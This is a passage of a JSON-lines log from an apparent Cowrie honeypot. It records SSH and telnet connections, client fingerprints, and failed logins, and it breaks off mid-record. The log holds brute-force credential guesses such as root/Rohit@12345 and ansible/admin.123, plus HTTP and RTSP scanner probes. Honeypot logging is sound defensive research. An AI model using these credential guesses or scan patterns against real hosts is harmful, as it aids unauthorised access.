{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:04.691332Z","src_ip":"37.143.61.130","session":"3a0729569589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":44046,"dst_ip":"10.17.0.5","dst_port":23,"session":"33f73df3f69c","protocol":"telnet","message":"New connection: 172.233.212.110:44046 (10.17.0.5:23) [session: 33f73df3f69c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:05.549916Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":44058,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8da78cb1b4d","protocol":"telnet","message":"New connection: 172.233.212.110:44058 (10.17.0.5:23) [session: f8da78cb1b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:08.091302Z"}
{"eventid":"cowrie.session.closed","duration":32.615761518478394,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:10.524431Z","src_ip":"209.126.87.217","session":"d03a23029912","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.76838827133179,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:10.715401Z","src_ip":"209.126.87.217","session":"ea2da958e6cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":44064,"dst_ip":"10.17.0.5","dst_port":23,"session":"7883f4bb3cb0","protocol":"telnet","message":"New connection: 172.233.212.110:44064 (10.17.0.5:23) [session: 7883f4bb3cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:11.061781Z"}
{"eventid":"cowrie.session.closed","duration":35.33726954460144,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:11.539223Z","src_ip":"209.126.87.217","session":"851c5438e8e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":57810,"dst_ip":"10.17.0.5","dst_port":22,"session":"ead8245a66f6","protocol":"ssh","message":"New connection: 125.31.2.160:57810 (10.17.0.5:22) [session: ead8245a66f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:12.253954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:12.258954Z","src_ip":"125.31.2.160","session":"ead8245a66f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:12.477807Z","src_ip":"125.31.2.160","session":"ead8245a66f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Rohit@12345","message":"login attempt [root/Rohit@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:13.383631Z","src_ip":"125.31.2.160","session":"ead8245a66f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:14.607310Z","src_ip":"125.31.2.160","session":"ead8245a66f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":47392,"dst_ip":"10.17.0.5","dst_port":23,"session":"5473afcd7730","protocol":"telnet","message":"New connection: 34.62.51.125:47392 (10.17.0.5:23) [session: 5473afcd7730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:14.652660Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":47404,"dst_ip":"10.17.0.5","dst_port":23,"session":"213c54ce3d03","protocol":"telnet","message":"New connection: 34.62.51.125:47404 (10.17.0.5:23) [session: 213c54ce3d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:14.809544Z"}
{"eventid":"cowrie.session.closed","duration":0.005465507507324219,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:14.814879Z","src_ip":"34.62.51.125","session":"213c54ce3d03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":47418,"dst_ip":"10.17.0.5","dst_port":23,"session":"275faac2fac2","protocol":"telnet","message":"New connection: 34.62.51.125:47418 (10.17.0.5:23) [session: 275faac2fac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:14.966139Z"}
{"eventid":"cowrie.session.closed","duration":40.71503782272339,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:15.342263Z","src_ip":"185.26.126.47","session":"366e4ddb78c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.36545991897583,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:15.398202Z","src_ip":"209.126.87.217","session":"0933789a891f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.569875240325928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:18.933201Z","src_ip":"172.233.212.110","session":"abc5ea7e11ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.194167375564575,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:23.846708Z","src_ip":"34.62.51.125","session":"5473afcd7730","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33092,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e9c3689f8b6","protocol":"telnet","message":"New connection: 34.62.51.125:33092 (10.17.0.5:23) [session: 6e9c3689f8b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:24.122704Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:24.131633Z","src_ip":"34.62.51.125","session":"6e9c3689f8b6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:24.137385Z","src_ip":"34.62.51.125","session":"6e9c3689f8b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09378457069396973,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:24.216118Z","src_ip":"34.62.51.125","session":"6e9c3689f8b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33104,"dst_ip":"10.17.0.5","dst_port":23,"session":"1589bfe44b83","protocol":"telnet","message":"New connection: 34.62.51.125:33104 (10.17.0.5:23) [session: 1589bfe44b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:24.290939Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46934,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5ba91883870","protocol":"ssh","message":"New connection: 159.203.92.129:46934 (159.203.135.109:22) [session: c5ba91883870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:24.357275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:24.362044Z","src_ip":"159.203.92.129","session":"c5ba91883870","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:24.366957Z","src_ip":"159.203.92.129","session":"c5ba91883870","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"admin.123","message":"login attempt [ansible/admin.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:24.378928Z","src_ip":"159.203.92.129","session":"c5ba91883870","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33110,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab8f098c3677","protocol":"telnet","message":"New connection: 34.62.51.125:33110 (10.17.0.5:23) [session: ab8f098c3677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:24.445842Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33126,"dst_ip":"10.17.0.5","dst_port":23,"session":"76a344993211","protocol":"telnet","message":"New connection: 34.62.51.125:33126 (10.17.0.5:23) [session: 76a344993211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:24.601379Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33130,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff381e26ce59","protocol":"telnet","message":"New connection: 34.62.51.125:33130 (10.17.0.5:23) [session: ff381e26ce59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:24.760248Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33142,"dst_ip":"10.17.0.5","dst_port":23,"session":"41e084e8e793","protocol":"telnet","message":"New connection: 34.62.51.125:33142 (10.17.0.5:23) [session: 41e084e8e793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:24.917102Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33144,"dst_ip":"10.17.0.5","dst_port":23,"session":"f164d0a8029e","protocol":"telnet","message":"New connection: 34.62.51.125:33144 (10.17.0.5:23) [session: f164d0a8029e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:25.075101Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33146,"dst_ip":"10.17.0.5","dst_port":23,"session":"79c17190f9c5","protocol":"telnet","message":"New connection: 34.62.51.125:33146 (10.17.0.5:23) [session: 79c17190f9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:25.228831Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33148,"dst_ip":"10.17.0.5","dst_port":23,"session":"58dff94e911d","protocol":"telnet","message":"New connection: 34.62.51.125:33148 (10.17.0.5:23) [session: 58dff94e911d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:25.385985Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:25.392787Z","src_ip":"159.203.92.129","session":"c5ba91883870","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33164,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9f5c9e0f3a5","protocol":"telnet","message":"New connection: 34.62.51.125:33164 (10.17.0.5:23) [session: c9f5c9e0f3a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:25.546203Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33166,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fb677778e6e","protocol":"telnet","message":"New connection: 34.62.51.125:33166 (10.17.0.5:23) [session: 0fb677778e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:25.777544Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33172,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f7c38969e91","protocol":"telnet","message":"New connection: 34.62.51.125:33172 (10.17.0.5:23) [session: 6f7c38969e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:25.933606Z"}
{"eventid":"cowrie.session.closed","duration":0.0054819583892822266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:25.938973Z","src_ip":"34.62.51.125","session":"6f7c38969e91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33174,"dst_ip":"10.17.0.5","dst_port":23,"session":"e28bf127fff9","protocol":"telnet","message":"New connection: 34.62.51.125:33174 (10.17.0.5:23) [session: e28bf127fff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:26.089615Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33178,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd360c8916ad","protocol":"telnet","message":"New connection: 34.62.51.125:33178 (10.17.0.5:23) [session: fd360c8916ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:26.245361Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33192,"dst_ip":"10.17.0.5","dst_port":23,"session":"548ade16ac76","protocol":"telnet","message":"New connection: 34.62.51.125:33192 (10.17.0.5:23) [session: 548ade16ac76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:26.399966Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33208,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a20012a85ce","protocol":"telnet","message":"New connection: 34.62.51.125:33208 (10.17.0.5:23) [session: 7a20012a85ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:26.554144Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33212,"dst_ip":"10.17.0.5","dst_port":23,"session":"16004ccad756","protocol":"telnet","message":"New connection: 34.62.51.125:33212 (10.17.0.5:23) [session: 16004ccad756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:26.710718Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33218,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e217742ea5f","protocol":"telnet","message":"New connection: 34.62.51.125:33218 (10.17.0.5:23) [session: 4e217742ea5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:26.865261Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33228,"dst_ip":"10.17.0.5","dst_port":23,"session":"82e479233c58","protocol":"telnet","message":"New connection: 34.62.51.125:33228 (10.17.0.5:23) [session: 82e479233c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:27.020510Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33236,"dst_ip":"10.17.0.5","dst_port":23,"session":"b839190b34d1","protocol":"telnet","message":"New connection: 34.62.51.125:33236 (10.17.0.5:23) [session: b839190b34d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:27.177262Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33248,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d6286baf75f","protocol":"telnet","message":"New connection: 34.62.51.125:33248 (10.17.0.5:23) [session: 6d6286baf75f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:27.349341Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:27.355154Z","src_ip":"34.62.51.125","session":"6d6286baf75f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33252,"dst_ip":"10.17.0.5","dst_port":23,"session":"75bcff2cf5ec","protocol":"telnet","message":"New connection: 34.62.51.125:33252 (10.17.0.5:23) [session: 75bcff2cf5ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:27.509518Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33268,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc69ffbe2c0d","protocol":"telnet","message":"New connection: 34.62.51.125:33268 (10.17.0.5:23) [session: cc69ffbe2c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:27.665713Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33284,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d5720b3201a","protocol":"telnet","message":"New connection: 34.62.51.125:33284 (10.17.0.5:23) [session: 5d5720b3201a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:27.821543Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33296,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b6eca87bb72","protocol":"telnet","message":"New connection: 34.62.51.125:33296 (10.17.0.5:23) [session: 1b6eca87bb72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:27.976598Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33300,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e9fa35d5608","protocol":"telnet","message":"New connection: 34.62.51.125:33300 (10.17.0.5:23) [session: 3e9fa35d5608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:28.131809Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33302,"dst_ip":"10.17.0.5","dst_port":23,"session":"05fb28acd1d8","protocol":"telnet","message":"New connection: 34.62.51.125:33302 (10.17.0.5:23) [session: 05fb28acd1d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:28.487930Z"}
{"eventid":"cowrie.session.closed","duration":0.005872011184692383,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:28.493646Z","src_ip":"34.62.51.125","session":"05fb28acd1d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33306,"dst_ip":"10.17.0.5","dst_port":23,"session":"f431be8fa998","protocol":"telnet","message":"New connection: 34.62.51.125:33306 (10.17.0.5:23) [session: f431be8fa998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:28.643436Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.51.125","src_port":33314,"dst_ip":"10.17.0.5","dst_port":23,"session":"665d1cc0cd40","protocol":"telnet","message":"New connection: 34.62.51.125:33314 (10.17.0.5:23) [session: 665d1cc0cd40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:28.798733Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 6766","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 6766] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:28.805949Z","src_ip":"34.62.51.125","session":"665d1cc0cd40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":51672,"dst_ip":"10.17.0.5","dst_port":22,"session":"965a5dc94a7b","protocol":"ssh","message":"New connection: 87.251.64.176:51672 (10.17.0.5:22) [session: 965a5dc94a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:31.192685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:31.199217Z","src_ip":"87.251.64.176","session":"965a5dc94a7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","s